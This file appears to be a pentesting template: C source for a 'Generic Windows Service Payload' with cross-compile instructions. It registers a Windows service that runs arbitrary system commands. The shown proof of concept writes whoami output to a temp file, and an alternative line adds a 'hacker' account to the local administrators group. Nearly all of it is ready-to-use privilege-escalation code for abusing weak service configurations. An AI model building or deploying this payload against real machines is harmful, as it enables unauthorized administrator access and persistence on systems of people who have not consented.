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windows-service.c

Generic Windows Service Payload

Install gcc-mingw-w64 by sudo apt install gcc-mingw-w64 and compile c file using by x86_64-w64-mingw32-gcc windows_service.c -o x.exe

## poc
system("whoami > c:\\windows\\temp\\service.txt");
## add user hacker to administrators group
system("cmd.exe /k net localgroup administrators hacker /add");
#include <windows.h>
#include <stdio.h>

#define SLEEP_TIME 5000

SERVICE_STATUS ServiceStatus; 
SERVICE_STATUS_HANDLE hStatus; 

void ServiceMain(int argc, char** argv); 
void ControlHandler(DWORD request); 

//add the payload here
int Run() 
{ 
    system("whoami > c:\\windows\\temp\\service.txt");
    return 0; 
} 

int main() 
{ 
    SERVICE_TABLE_ENTRY ServiceTable[2];
    ServiceTable[0].lpServiceName = "MyService";
    ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;

    ServiceTable[1].lpServiceName = NULL;
    ServiceTable[1].lpServiceProc = NULL;

    StartServiceCtrlDispatcher(ServiceTable);  
    return 0;
}

void ServiceMain(int argc, char** argv) 
{ 
    ServiceStatus.dwServiceType        = SERVICE_WIN32; 
    ServiceStatus.dwCurrentState       = SERVICE_START_PENDING; 
    ServiceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
    ServiceStatus.dwWin32ExitCode      = 0; 
    ServiceStatus.dwServiceSpecificExitCode = 0; 
    ServiceStatus.dwCheckPoint         = 0; 
    ServiceStatus.dwWaitHint           = 0; 

    hStatus = RegisterServiceCtrlHandler("MyService", (LPHANDLER_FUNCTION)ControlHandler); 
    Run(); 

    ServiceStatus.dwCurrentState = SERVICE_RUNNING; 
    SetServiceStatus (hStatus, &ServiceStatus);

    while (ServiceStatus.dwCurrentState == SERVICE_RUNNING)
    {
        Sleep(SLEEP_TIME);
    }
    return; 
}

void ControlHandler(DWORD request) 
{ 
    switch(request) 
    { 
        case SERVICE_CONTROL_STOP: 
            ServiceStatus.dwWin32ExitCode = 0; 
            ServiceStatus.dwCurrentState  = SERVICE_STOPPED; 
            SetServiceStatus (hStatus, &ServiceStatus);
            return; 

        case SERVICE_CONTROL_SHUTDOWN: 
            ServiceStatus.dwWin32ExitCode = 0; 
            ServiceStatus.dwCurrentState  = SERVICE_STOPPED; 
            SetServiceStatus (hStatus, &ServiceStatus);
            return; 

        default:
            break;
    } 
    SetServiceStatus (hStatus,  &ServiceStatus);
    return; 
}

source: https://github.com/sagishahar/scripts